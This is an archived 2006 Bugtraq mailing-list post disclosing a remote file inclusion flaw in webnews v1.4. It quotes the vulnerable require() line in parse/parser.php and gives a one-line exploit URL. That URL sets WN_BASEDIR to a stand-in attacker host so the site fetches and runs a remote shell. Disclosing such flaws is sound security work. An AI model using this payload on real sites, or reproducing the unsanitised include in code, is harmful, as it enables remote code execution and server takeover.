bugtraq - webnews <= v1.4 (WN_BASEDIR) Remote File Inclusion Exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060926020821.30957.qmail@securityfocus.com>
Date: 26 Sep 2006 02:08:21 -0000
From: the-wolf-ksa@...mail.com
To: bugtraq@...urityfocus.com
Subject: webnews <= v1.4 (WN_BASEDIR) Remote File Inclusion Exploit

#==============================================================================================
#webnews <= v1.4 (WN_BASEDIR) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#      
#                                                                      
#Version : v1.4                                            
#                                                        
#================================================================================================
#Bug in : parse/parser.php
#
#Vlu Code :
#--------------------------------
#
#            require($WN_BASEDIR."/parse/parser.php");
#
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#htpp://sitename.com[scerpitPath]/parse/parser.php?WN_BASEDIR=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : ThE-WoLf-KsA
#
#Conatact : the-wolf-ksa[at]hotmail.com
#XP10_hackEr Team
#GrEatZ :r00tshill & &#957;&#943;&#961;&#949;&#1103;~&#1106;&#940;&#962;&#954;&#949;&#1103; & BooB11 & ((&#1607;&#1578;&#1604;&#1585; &#1580;&#1583;&#1577;)) & MoHaNdKo
#WWW.XP10.COM
==================================================================================================